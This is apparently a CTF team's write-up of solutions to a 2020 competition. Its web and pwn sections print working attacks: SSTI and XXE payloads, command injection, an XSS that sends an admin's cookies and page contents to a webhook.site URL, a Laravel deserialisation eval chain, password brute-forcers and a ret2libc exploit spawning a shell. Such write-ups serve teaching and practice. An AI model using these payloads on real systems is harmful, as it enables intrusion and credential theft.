Tags: steghide steganography
Rating:
Team name: bootplug
Country: Norway
CTFTime profile: https://ctftime.org/team/81341
Authors zup, PewZ, UnblvR, maritio_o, odin
We solved 25/26 challenges. Did not solve inorder
We get a pcap file. Searched for http traffic and found a single stream with some very interesting information in it
This GET request seems to contain an interesting parameter that looks like a flag.
Decoding this from URL encoding yields the flag
The content of the f l a g is ca314be22457497e81a08fc3bfdbdcd3e0e443c41b5ce9802517b2161aa5e993 and respects the format
CTF{ca314be22457497e81a08fc3bfdbdcd3e0e443c41b5ce9802517b2161aa5e993}
Noticed some DNS requests in the PCAP to RealVNC websites.
Filtering on VNC traffic (vnc as filter in Wireshark) lists up some "broken" PDUs, but they are most likely just too new for Wireshark to handle.
Looking at the last byte of all these PDUs, we see that some text is entered - one letter at a time. It writes out the "Bee Movie" script, with the flag somewhere in the middle of it.
By simply looking for a value that matches '{', I was able to read out each letter of the flag and communicate it to a team mate that wrote it down.
flag: DCTF{74a0f35841dfa7eddf5a87467c90da335132ae52c58ca440f31a53483cef7eac}
Q1. Based on the text, and obviois tool to think about is mimkaz, which often contain sekurlsa in the commanline. Used the following search on winlogbeat index:
process.args: *sekurlsa*
Shows process name: mim.exe
Q2.Seeing that most "malicous" related to APTSimulator, looking for events around this activity and filtering based on common native tools used for downloading, we found the following:
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/NextronSystems/APTSimulator/master/download/cactus.js C:\Users\Public\en-US.js
Q3. By going back in timeline to see source of all the malicous events, the following command was found:
C:\Windows\system32\cmd.exe /c ""C:\Users\IEUser\Desktop\APTSimulator\APTSimulator.bat
CTF{APTSimulator.bat}
Q4. Common command used for user management at windows is net user, search for this actiovity within the timeline of the malicous commands, the following command line was found:
net user guest /active:yes
Volatility imagescan shows that the relevant profile is Win7SP1x64. After a brief pstree and filescan, we see that there's not really that much happening process-wise. But Chrome has been used to download a file from WeTransfer:
0x000000003fa82210 16 0 RW---- \Device\HarddiskVolume2\Users\volf\Downloads\app-release.apk.zip
We weren't able to dump this exact file, but there were some copies of it located on the desktop that could be dumped using dumpfiles -Q XXX with XXX being the physical address from the filescan output. The Chrome history also showed some Google searches for Bluestacks, an Android emulator, but none of its binaries were present. The belief is that someone downloaded this APK, then ran it locally in Bluestacks to get the secret location - which is the goal of this challenge.
The zip file does not contain an APK at all, but a directory, which contains the contents of an APK. This breaks normal decompilers like JADX, but luckily it's easy to repack it as a proper APK file.
After some brief reversing of the app, it looks like it is just a simple "Hello, World!" Android application, that only shows a single view with a "Hello World" message.
package com.example.hidden_place;
import android.os.Bundle;
import androidx.appcompat.app.AppCompatActivity;
public class MainActivity extends AppCompatActivity {
/* access modifiers changed from: protected */
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView((int) R.layout.activity_main);
}
}
However, inside drawables, there's a hidden file: res/drawable/coordinates_can_be_found_here.jpg. In the EXIF data of this image, there's some coordinates -coordinates=44.44672703736637, 26.098652847616506 pointing to a Pizza hut.
Flag: ctf{a939311a5c5be93e7a93d907ac4c22adb23ce45c39b8bfe2a26fb0d493521c4f} (sha256 of 'pizzahut')
This is a very simple PHP server. The flag is located in /var/www/html/flag.php
<?php
if (!isset($_GET['start'])){
show_source(__FILE__);
exit;
}
include ($_POST['start']);
echo $secret;
The only thing it does is including whatever we send in the start POST parameter. We need to also set the start GET parameter to something so that the server won't print its source and exit.
Then we can just include the flag.php file:
$ curl 'http://34.89.211.188:32193?start=1' -XPOST --data 'start=flag.php'
ctf{b513ef6d1a5735810bca608be42bda8ef28840ee458df4a3508d25e4b706134d}
We can change the content of the website. The server is running Flask. I quickly find out that this is SSTI (Server side template injection) by injecting {{5*5}}
$ http 35.198.103.37:31612 content=='{{5*5}}'
HTTP/1.0 200 OK
Content-Length: 2
Content-Type: text/html; charset=utf-8
Date: Mon, 07 Dec 2020 16:04:25 GMT
Server: Werkzeug/1.0.1 Python/2.7.12
25
I then tried to inject a lot of different variables, functions and attributes and found out that there is a WAF on the server checking for specific keywords like _, class, flag, application, and many others.
After some trial and errors I found out you could just concatinate multiple strings to get the keywords we want.
We can't do this with _ however. So in order to inject underscores, we need to send it in as a query parameter u and use requests.args.u to use it.
The plan is to inject
{{request["application"]["__globals__"]["__builtins__"]["__import__"]("os")["popen"]("cat flag")["read"]()}}
Using the different tricks mentioned, I ended up with the following query:
http 35.198.103.37:31612 content=='{{request["appli"+"cation"][request.args.u*2+"globals"+request.args.u*2][request.args.u*2+"buil"+"tins"+request.args.u*2][request.args.u*2+"imp"+"ort"+request.args.u*2]("os")["po"+"pen"](request.args.f)["read"]()}}' u==_ f=='cat flag'
HTTP/1.0 200 OK
Content-Length: 69
Content-Type: text/html; charset=utf-8
Date: Mon, 07 Dec 2020 16:14:17 GMT
Server: Werkzeug/1.0.1 Python/2.7.12
CTF{75df3454a132fcdd37d94882e343c6a23e961ed70f8dd88195345aa874c63e63}
Intern season is up again and our new intern Alex had to do
a simple login page. Not only the login page is not working properly,
it is also highly insecure...
Seems like Alex created a broken login page. It does not seem to work at all.
You can log in with a username and password, and get redirected to /auth where the
username and password values have been swapped out with hex or some hashes.
$ http POST 'http://35.234.65.24:31441/login' name==admin password==admin
HTTP/1.1 302 Found
Content-Length: 0
Content-Type: text/plain; charset=utf-8
Date: Mon, 07 Dec 2020 16:23:42 GMT
Location: /auth?username=61646d696e&password=c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec
When analysing the parameters, you can see that the username is just admin in hex encoding.
The password is a sha512 hash of the password we sent in.
After being redirected, nothing seems to happen. We get a 200 OK, but nothing that indicates that we successfully logged in or not.
I then noticed that the name parameter from /login is not username when being redirected to /auth.
After changing the parameter for /auth to name instead of username, everything seems to work!
$ http GET 'http://35.234.65.24:31441/auth?name=61646d696e&password=c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec'
HTTP/1.1 200 OK
Content-Length: 12
Content-Type: text/plain; charset=utf-8
Date: Mon, 07 Dec 2020 16:28:21 GMT
Invalid user
Now we need to find a valid username, so why not just try Alex? After converting this to hex we can send a new request. This time we get Invalid password.
At this point I decided to write a script that bruteforces the password. It iterates over a wordlist and hashes each password with sha512 and tries to log in.
#!/usr/bin/env python3
import requests
import sys
import hashlib
from binascii import hexlify, unhexlify
username = hexlify(b"Alex")
with open(sys.argv[1], "r") as wlist:
for pw in wlist:
h = hashlib.sha512(pw.strip().encode())
params = {
"name": username,
"password": h.hexdigest()
}
r = requests.get("http://34.89.250.23:32506/auth", params=params)
if "Invalid password" not in r.text:
print(r.text)
print(r.text)
I then ran the script using the infamous rockyou.txt wordlist. After some time we get a successful login and the flag!
CTF{bf3dd66e1c8e91683070d17ec2afb13375488eee109a0724bb872c9d70b7cc3d}
Searching for all HTTP events with status code 200, since it is seen alot of directory bruteforcing. Found the following request when seeing 200 response with interesting large size:
/shelladsasdadsasd.html.php. Testing this path on the target server, shows that the webshell is active.
Seeing traffic related to this path in the pcap, the following interesting response was found:
POST /shelladsasdadsasd.html.php?feature=shell HTTP/1.1
Host: h:1234
Connection: keep-alive
Content-Length: 328
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
DNT: 1
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: http://h:1234
Referer: http://h:1234/shelladsasdadsasd.html.php
Accept-Encoding: gzip, deflate
Accept-Language: ro-RO,ro;q=0.9,en-US;q=0.8,en;q=0.7,it;q=0.6
cmd=telnet%2010.5.0.6%2010001%3Btelnet%2010.5.0.6%2010002%3Btelnet%2010.5.0.6%2010003%3Btelnet%2010.5.0.6%205000%3Btelnet%2010.5.0.6%2010008%3Btelnet%2010.5.0.6%205000%3Btelnet%2010.5.0.6%206000%3Btelnet%2010.5.0.6%2019999%3B%20echo%20'GET%20%2F%20HTTP%2F1.1%5Cr%5Cn%5Cr%5Cn'%20%7C%20nc%2010.5.0.6%205000&cwd=%2Fvar%2Fwww%2FhtmlHTTP/1.1 200 OK
Date: Tue, 01 Dec 2020 22:24:24 GMT
Server: Apache
Content-Length: 258
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json
{"stdout":["Trying 10.5.0.6...","Trying 10.5.0.6...","Trying 10.5.0.6...","Trying 10.5.0.6...","Trying 10.5.0.6...","Trying 10.5.0.6...","Trying 10.5.0.6...","Trying 10.5.0.6...","(UNKNOWN) [10.5.0.6] 5000 (?) : Connection refused"],"cwd":"\/var\/www\/html"}
Seeing attempts on other ports then 1234, we excluded all 1234 traffic in the PCAP. One interesting HTTP response was show towards port 5000:
GET / HTTP/1.1
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 69
Server: Werkzeug/1.0.1 Python/2.7.12
Date: Tue, 01 Dec 2020 22:25:13 GMT
This resulted in Connection refused for the attacker, but we see a different port sequnce used by the succesfull request. The following command was used to get the flag:
p0wny@shell:/web# telnet 10.5.0.6 10001;telnet 10.5.0.6 10002;telnet 10.5.0.6 10003;telnet 10.5.0.6 22;telnet 10.5.0.6 445; echo 'GET / HTTP/1.1\r\n\r\n' | nc 10.5.0.6 5000
Trying 10.5.0.6...
Trying 10.5.0.6...
Trying 10.5.0.6...
Trying 10.5.0.6...
Trying 10.5.0.6...
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 69
Server: Werkzeug/1.0.1 Python/2.7.12
Date: Mon, 07 Dec 2020 15:43:44 GMT
ctf{4fde84cc72b033f0834f1181c4e1dc77a82a595c3652c8b9d02b28b8e1b62124}
#!/usr/bin/env python3
import re
import requests
import sys
def main(url, cmd):
print(f"command len: {len(cmd)}")
if len(cmd) > 15:
print("cmd too long!")
return
data = { "password": "foobardeadbeefdsadsa" }
req = requests.post(url, data=data)
tmp = req.content.decode("utf-8")
idx = tmp.index("/secrets")
secret = tmp[idx:].split("'")[0]
print(secret)
url += secret
print(url)
params = {
"tryharder": cmd
}
req = requests.get(url, params=params)
print(req.content)
req = requests.get(url)
print(req.content)
if __name__ == "__main__":
main("http://35.242.253.155:30574", "${`ln -s /var`}")
main("http://35.242.253.155:30574", "${`mv var o`}")
main("http://35.242.253.155:30574", "${`ln -s o/w*`}")
main("http://35.242.253.155:30574", "${`mv www l`}")
main("http://35.242.253.155:30574", "${`ln -s l/h*`}")
main("http://35.242.253.155:30574", "${`mv html j`}")
main("http://35.242.253.155:30574", "${`cat j/f*>2`}")
main("http://35.242.253.155:30574", "${print`cat 2`}")
We can inject php using the tryharder parameter, but it has to be less than 16 characters. In addition, the data we can change is part of a doc string (heredoc). We use ${} to run php and backticks to run shell commands.
Running the solution script gives us the flag:
ctf{d067ddd00ba4129e83898758ac321533f392364cfaca7967d66791d9d08823bb}
There is nothing on the main page.
First we found /console endpoint by dirbusting. However, the debugger console was protected with a PIN.
In the task description they mentioned APIs. So we tried to find /api, /v1 and /v2 etc.
We then found some interesting endpoints.
/v1 - mentions that /v1 is disabled and that we should see the changelog for more information./v2 - mentions that this is the V2 API ROUTEWe then tried to find the CHANGELOG file:
$ http GET 'http://138.68.93.187:6960/v2/CHANGELOG'
HTTP/1.0 200 OK
Content-Length: 204
Content-Type: text/html; charset=utf-8
Date: Mon, 07 Dec 2020 16:47:24 GMT
Server: Werkzeug/1.0.1 Python/3.6.9
#1: V1 context - V1 api routes disabled after sambacry
#2: V2 context - crawl route parammeter changed to 'adshua' to prevent abuse
#3: V2 context - added new safe SMbHandler to prevent sambacry
We now know that SMB is involved and that there is an endpoint called /v2/crawl.
We can use this endpoint to visit web pages, but it has an SSRF vulnerability. This means
that we can fetch files from the server, or visit internal web pages.
Using this vulnerability we fetched the SMB config and the app.py source code:
curl -D- http://138.68.93.187:6960/v2/crawl?adshua=file:///etc/samba/smb.conf --output smb.conf
curl -D- 'http://138.68.93.187:6960/v2/crawl?adshua=file:///home/ctfuser/app.py' --output app.py
There is an interesting entry in SMB config
[josh]
path = /samba/josh
browseable = yes
read only = yes
guest ok = yes
force create mode = 0660
force directory mode = 2770
valid users = josh @sadmin
josh is an SMB share, and we can authenticate to this share as josh.
We also see a new API endpoint for SMB
@app.route("/v2/smb", methods=["GET"])
def smb():
#this might ROCK YOUr world!
if request.args.get('onlyifyouknowthesourcecode'):
director = urllib.request.build_opener(SMBHandler)
fh = director.open(request.args.get('onlyifyouknowthesourcecode'))
buf = fh.read()
fh.close()
return buf
There is a hint refering to rockyou.txt in the source code. So now we just create a script to bruteforce josh's password using this wordlist.
#!/usr/bin/env python3
import requests
import sys
url = "http://138.68.93.187:6960/v2/smb?onlyifyouknowthesourcecode=smb://josh:{password}@localhost/josh/flag.txt"
with open(sys.argv[1]) as wlist:
for pw in wlist:
pw = pw.rstrip()
r = requests.get(url.format(password=pw))
if "not authenticated" not in r.text:
if "filedescriptor out of range" not in r.text:
print(r.text)
print(f"PASS: {pw}")
The correct password is christian. We can now get the flag!
http GET 'http://138.68.93.187:6960/v2/smb?onlyifyouknowthesourcecode=smb://josh:christian@localhost/josh/flag.txt'
The flag is: ctf{6056850ae00cb2cdc76d2bfa0bcb40ee3cc744702a31af0a8edd7fb2872da6f9}
This task took a while to figure out. The task description is
Some languages can be read by human, but not by machines, while
others can be read by machines but not by humans. This markup
language solves this problem by being readable to neither.
The flag is in /var/www/html/flag.
The button on the main page does not work at all. It sets a GET parameter called
<foo>Hi!</foo> and we get an error page saying "Empty string supplied as input."
The trick was to figure out that you had to send something in the request body instead of a GET parameter.
curl -D- -XGET 'http://34.107.22.248:30526/parse' --data test
A new error message: That XML string is not well-formed
Now we get a clue that the data we send is should be XML. The vulnerability here must be XML External Entity processing. We can try to create some entities that fetches local files on the server.
$ curl -D- -XGET 'http://34.107.22.248:30526/parse' --data '<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY exfiltrate SYSTEM "/etc/passwd">
]>
<foo>&exfiltrate;</foo>'
We get the /etc/passwd file back!
...
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
www:x:1000:3000::/var/www:/usr/sbin/nologin
However we cannot leak the flag using base64 encoding.
curl -D- -XGET 'http://34.107.22.248:30526/parse' --data '<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY exfiltrate SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/flag">
]>
<foo>&exfiltrate;</foo>'
The error message is You just tried to exfiltrate using base64? Nice. Try again!
Seems like there is some sort of filter checking the output. We can't convert the PHP flag file into base64. It is still possible to convert the PHP file into UTF-16 though:
$ curl -D- -XGET 'http://34.107.22.248:30526/parse' --data '<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY exfiltrate SYSTEM "php://filter/convert.iconv.utf-16le.utf-8/resource=/var/www/html/flag">
]>
<foo>&exfiltrate;</foo>'
We then get this string
瑣筦㈰摢㠴㈶㌷㈰㌶㈶㡥㙡㘹挱㍤〳㠳㈱㜰挳〵慦㔷戹㈴戰攱愷ㄱ㉡㍣扡〳
We can convert this to UTF-8 and get the flag!
ctf{02bd486273026362e8a6961cd3303812073c50fa759b420b1e7a11a2c3ab0130}
The challenge name is a hint that this is an XSS challenge.
After you have logged in you can post notes to the website. The admin will check every note you create.
When trying to post <script> tags we get an error message:
Invalid input. Failed at /<[^\w<>]*[ \/]\w*/i
The server is validating our notes using regex. It has quite a few different patterns that it checks:
/<[^\w<>]*[ \/]\w*/i/<(|\/|[^\/>][^>]+|\/[^>][^>]+)>/i/(\b)(on\S{5,8})(\s*)=|(<\s*)(\/*)script/im/["'\(\)\.:\-\+> `]/imThe best way I found to bypass this check is to convert our javascript into HTML entities:
e.g. asdasd -> asdasd
After trial and error I found out that the <svg> tag is your best bet! We can use its onload method which is not matched by the regex pattern above. ("load" is shorter than 5 characters).
Let's test this by fetching the admin's cookie. We can't have spaces, and can't have any > tag at the end. But it still works:
<svg/onload=document.location="https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35?c="+document.cookie//<
Convert the javascript to HTML entities:
http --form POST 'http://35.242.253.155:31810/index.php?page=newpost' Cookie:PHPSESSID=47117bffb9bc0406a138d082980b72f2 title='asd' description='<svg/onload=document.location="https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35?c="+document.cookie//<'
We now get a request from the admin. But there is no flag in the cookies... I then noticed the referer header in the request from admin:
Referer: http://127.0.0.1:1234/index.php?page=post&id=221
If we make the admin fetch this website and send the result back to us, we might get the flag. The new plan is to use fetch:
fetch('/index.php?page=post&id=604').then(r=>{return r.text()}).then(t=>{fetch('https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35', {method:'POST',body:t})})
This javascript posts the entire website back to us. When converting this to HTML entities, we can do the request to get the flag :)
http --form POST 'http://35.242.253.155:31810/index.php?page=newpost' Cookie:PHPSESSID=47117bffb9bc0406a138d082980b72f2 title='asd' description='<svg/onload=fetch('/index.php?page=post&id=604').then(r=>{return r.text()}).then(t=>{fetch('https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35', {method:'POST',body:t})})//<'
FLAG: CTF{3B3E64A81963B5E3FAC7DE0CE63966F03559DAF4B61753AADBFBA76855DB5E5A}
It is a login page, but we cannot login, and there is no button to register an account. After doing some enumeration we found a few endpoints that seems interesting
At /register we can register an account and we get redirected to /dashboard
Environ is a tool to decrypt your deal messages
Sorry for the inconvenience but we’re performing some maintenance at the moment. If you need to you can always contact us, otherwise we’ll be back online shortly!
— The Team.
If we go to /index.php we can see this message:
Environ is a tool to decrypt your deal messages
Sorry for the inconvenience but we’re performing some maintenance at the moment. If you need to you can always contact us, otherwise we’ll be back online shortly!
— The Team. Also you can use /decode/{text} to obtain the contents of your private message.
A new endpoint! /decode/{text}.
Almost everything we tried to insert as text makes the server respond with
bool(false)
If you insert a symbol, you get File not found.
I created a script to enumerate all the valid characters:
#!/usr/bin/env python3
import requests
import string
url = "http://35.198.183.125:30278/decode/"
valid_chars = []
headers = {
"Cookie": "laravel_session=eyJpdiI6Ik5QMmtiajAxZ0JHTjdLTW5TcDV1Nmc9PSIsInZhbHVlIjoicEhIV3lKaEUrKzFnS1VDcmcyWDhPQ0ZVNlYzeFR3TkdBbjk4VW1NditnOHRxaEl5MU01YmUrMFpxRGZyc0lMTHBLYWRKOWNiMVpHaFEyUy9ac3FsSUFMeXRNZ2RZZmdNL3RnOGEyUFlpZHV2aGlOVXRpWm1nbTE5cDU1Wmd6YmsiLCJtYWMiOiJjNzZkZjcyNGIwNWIyYzZiNjcyNmQ1YTE2YWM0ZTE5N2JhZGE4NGVmYzE3ZGY3NDc0Zjg0MWY5NzRjMTQ2NTliIn0%3D",
"Accept": "application/json"
}
for c in string.printable:
r = requests.get(url+c, headers=headers)
if "bool(false)" in r.text:
valid_chars.append(c)
else:
print(r.text.strip())
print(''.join(valid_chars))
The valid characters are 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ%+=
This looks like base64 to me!
At this point we started looking at the other endpoints, and found out that /backup is a git repository. We dumped the repository using git-dumper.py (I had to replae all ".git" with "backup" for it to work) and find .env.example that contains an AES key:
APP_KEY=base64:Wkt8DOa9t16Z+DSLKsy+5r4S0aA9JmdItAk9//NiKu0=
We also find the decode function used in the Laravel app.
public function decode(Request $request, $secret)
{
$key = env('APP_KEY');
$cipher = "AES-256-CBC";
$iv = substr(env('APP_KEY'), 0, 16);
$secret_message = unserialize(openssl_decrypt($secret, $cipher, $key, 0, $iv));
var_dump($secret_message);
}
This function decrypts our secret message and unserializes it. Maybe we can try to exploit this unserialization?
To do this we need to find a class that has a constructor / deconstructor that does something unsafe. I found just the class for this in app/Http/Middleware/YourChain.php
<?php
namespace App\Http\Middleware;
use Closure;
use Illuminate\Http\Request;
class YourChain
{
/**
* Handle an incoming request.
*
* @param \Illuminate\Http\Request $request
* @param \Closure $next
* @return mixed
*/
// public function handle(Request $request, Closure $next)
// {
// return $next($request);
// }
public $inject;
function __construct(){
}
function __wakeup(){
if(isset($this->inject))
{
if(isset($this->inject[5])){
eval($this->inject[5]);
}
}
}
}
If we can create a serialized object with an $inject parameter that is an Array, we can eval php code of our choice. The 5th index must contain the code that should be evaled.
I did this by opening an interactive session with php: php -a
$key = "base64:Wkt8DOa9t16Z+DSLKsy+5r4S0aA9JmdItAk9//NiKu0=";
$iv = substr($key, 0, 16);
echo openssl_encrypt("O:29:\"App\\Http\\Middleware\\YourChain\":1:{s:6:\"inject\";a:6:{i:0;s:0:\"\";i:1;s:0:\"\";i:2;s:0:\"\";i:3;s:0:\"\";i:4;s:0:\"\";i:5;s:29:\"system('base64 ../flag.php');\";}}", "AES-256-CBC", $key, 0, $iv);
Which yields
6yjQqIXn0W0bR6EwHTW2NfGZUD4vr9E537p+861LxkPV8tNU63xRZz34KbAoOYNU/Z0SXAME/FlmW2Gpc14G/eXe+TngCovxh6lKt3I9ZmutmF0iLSRycW3X3xdse83uy7Hp3XSqh0Z20knHOqqi4KulAvtT1BbFDzwrNtstRGvciaSyqVgbbhtCIQe0lwyw2YZ8TkBKrdSefnNfBLFuzQ==
We can send this encrypted text to the /decode endpoint to get our command executed!
I tried multiple commands before I finally found flag.php in a directory.
$ http GET "http://35.198.183.125:30278/decode/6yjQqIXn0W0bR6EwHTW2NfGZUD4vr9E537p+861LxkPV8tNU63xRZz34KbAoOYNU/Z0SXAME/FlmW2Gpc14G/eXe+TngCovxh6lKt3I9ZmutmF0iLSRycW3X3xdse83uy7Hp3XSqh0Z20knHOqqi4KulAvtT1BbFDzwrNtstRGvciaSyqVgbbhtCIQe0lwyw2YZ8TkBKrdSefnNfBLFuzQ==" Cookie:laravel_session=eyJpdiI6Ik5QMmtiajAxZ0JHTjdLTW5TcDV1Nmc9PSIsInZhbHVlIjoicEhIV3lKaEUrKzFnS1VDcmcyWDhPQ0ZVNlYzeFR3TkdBbjk4VW1NditnOHRxaEl5MU01YmUrMFpxRGZyc0lMTHBLYWRKOWNiMVpHaFEyUy9ac3FsSUFMeXRNZ2RZZmdNL3RnOGEyUFlpZHV2aGlOVXRpWm1nbTE5cDU1Wmd6YmsiLCJtYWMiOiJjNzZkZjcyNGIwNWIyYzZiNjcyNmQ1YTE2YWM0ZTE5N2JhZGE4NGVmYzE3ZGY3NDc0Zjg0MWY5NzRjMTQ2NTliIn0%3D
<?php if(false) { echo 'ctf{ea4941519e740783ebd819100ddc13486ae1e0abec2d0ef32bad5fc98edd16b6}'; } ?>%
FLAG: ctf{ea4941519e740783ebd819100ddc13486ae1e0abec2d0ef32bad5fc98edd16b6}
The task description says:
Do you have your own stug pass hidden within?
We get a jpg image. The most obvious thing to try is steghide.
First I tried to use steghide without a password, but that did not work. Then I noticed the task description again: stug pass hidden within.
I then tried to extract using stug as password:
$ steghide extract -sf stug.jpg
Enter passphrase:
wrote extracted data to "flag.txt".
flag.txt: ctf{32849dd9d7e7b313c214a7b1d004b776b4af0cedd9730e6ca05ef725a18e38e1}
#!/usr/bin/env python3
import json
import requests
from base64 import b64decode
from pprint import pprint
from Crypto.Cipher import ChaCha20, Salsa20
# {"nonce": "TzMh7RxMJr8=", "ciphertext": "IynkKnGon3iK4oNSv59tqdLlpIowmfpiH88Vj1CjQBm3SvTcwTbrnY4q/UWKtJRu0M3v4sl+C0k8QFM8pdpyFCkE9Nur", "key": "Fidel_Alejandro_Castro_Ruz_Cuba!"}
def main(url):
res = requests.get(url)
if res.status_code != 200:
print("failed!")
return
res = json.loads(res.content)
pprint(res)
key = res["key"]
nonce = b64decode(res["nonce"])
ciphertext = b64decode(res["ciphertext"])
print(f"key length: {len(key)}")
print(f"ciphertext length: {len(ciphertext)}")
print(f"nonce length: {len(nonce)}")
#cipher = Salsa20.new(key=key.encode("utf-8"), nonce=nonce)
#plaintext = cipher.decrypt(ciphertext)
#print(plaintext)
cipher = ChaCha20.new(key=key.encode("utf-8"), nonce=nonce)
plaintext = cipher.decrypt(ciphertext)
print(plaintext)
if __name__ == "__main__":
main("http://34.89.241.255:30013")
# ctf{f38deb0782c0f252090a52b2f1a5b05bf2964272f65d5c3580be631f52f4b3e0}
tried to find a cipher that matched with the key length etc. We noticed that the length of the ciphertext wasn't a multiple of normal block sizes, so we assumed a stream cipher. Then we tried to find a stream cipher that used base64 encoded nonce, and a key size of 256 bit. after some trial and error we found out that ChaCha20 was a match.
We get a Python script
xored = ['\x00', '\x00', '\x00', '\x18', 'C', '_', '\x05', 'E', 'V', 'T', 'F', 'U', 'R', 'B', '_', 'U', 'G', '_', 'V', '\x17', 'V', 'S', '@', '\x03', '[', 'C', '\x02', '\x07', 'C', 'Q', 'S', 'M', '\x02', 'P', 'M', '_', 'S', '\x12', 'V', '\x07', 'B', 'V', 'Q', '\x15', 'S', 'T', '\x11', '_', '\x05', 'A', 'P', '\x02', '\x17', 'R', 'Q', 'L', '\x04', 'P', 'E', 'W', 'P', 'L', '\x04', '\x07', '\x15', 'T', 'V', 'L', '\x1b']
s1 = ""
s2 = ""
# ['\x00', '\x00', '\x00'] at start of xored is the best hint you get
a_list = [chr(ord(a) ^ ord(b)) for a,b in zip(s1, s2)]
print(a_list)
print("".join(a_list))
There is also a hint here about the first 3 null bytes being the best hint we can get.
Since we know that a flag usually starts with ctf, this is most likely the xor key. When xoring ctf with ctf we get three null bytes.
I modified the script to use ctf as key:
xored = ['\x00', '\x00', '\x00', '\x18', 'C', '_', '\x05', 'E', 'V', 'T', 'F', 'U', 'R', 'B', '_', 'U', 'G', '_', 'V', '\x17', 'V', 'S', '@', '\x03', '[', 'C', '\x02', '\x07', 'C', 'Q', 'S', 'M', '\x02', 'P', 'M', '_', 'S', '\x12', 'V', '\x07', 'B', 'V', 'Q', '\x15', 'S', 'T', '\x11', '_', '\x05', 'A', 'P', '\x02', '\x17', 'R', 'Q', 'L', '\x04', 'P', 'E', 'W', 'P', 'L', '\x04', '\x07', '\x15', 'T', 'V', 'L', '\x1b']
s1 = ''.join(xored)
s2 = "ctf" * len(xored) # We need the key to be equal length or longer than the cipher text
a_list = [chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2)]
print("".join(a_list))
Running it yields ctf{79f107231696395c004e87dd7709d3990f0d602a57e9f56ac428b31138bda258}
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host 35.234.65.24 --port 30812 ./pwn_bazooka_bazooka
from pwn import *
# Set up pwntools for the correct architecture
exe = context.binary = ELF('./pwn_bazooka_bazooka')
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or '35.234.65.24'
port = int(args.PORT or 30812)
def local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return local(argv, *a, **kw)
else:
return remote(argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
set follow-fork-mode parent
set follow-exec-mode same
b *0x0000000000400757
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
io = start()
io.sendlineafter("Secret message: ", "#!@{try_hard3r}")
pop_rdi = 0x00000000004008f3
main = exe.symbols["main"]
payload = b"A"*(0x80-8)
payload += p64(pop_rdi)
payload += p64(exe.got["puts"])
payload += p64(exe.plt["puts"])
payload += p64(main)
io.sendlineafter("Message: ", payload)
io.recvuntil("Hacker alert")
io.recvline()
leak = u64(io.recvline().rstrip().ljust(8, b"\x00"))
log.info(f"leak: {hex(leak)}")
if args.LOCAL:
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
libc = ELF("libc6_2.27-3ubuntu1.3_amd64.so")
libc.address = leak - libc.symbols["puts"]
log.success(f"libc base: {hex(libc.address)}")
payload = b"A"*(0x80-8)
payload += p64(pop_rdi)
payload += p64(next(libc.search(b"/bin/sh")))
payload += p64(pop_rdi+1) # ret gadget for stack alignment
payload += p64(libc.symbols["system"])
payload += p64(libc.symbols["exit"])
io.sendlineafter("Secret message: ", "#!@{try_hard3r}")
io.sendlineafter("Message: ", payload)
io.interactive()
# ctf{9bb6df8e98240b46601db436ad276eaa635a846c9a5afa5b2075907adf39244b}
Vulnerable function protected with password.
The vuln is a buffer overflow. First we trigger the bug to leak the address of puts through the GOT.
This enables us to find the base address of libc. We then trigger the bug a second time and ROP into system("/bin/sh").
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host 34.89.250.23 --port 32440 ./darkmagic
from pwn import *
# Set up pwntools for the correct architecture
exe = context.binary = ELF('./darkmagic')
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
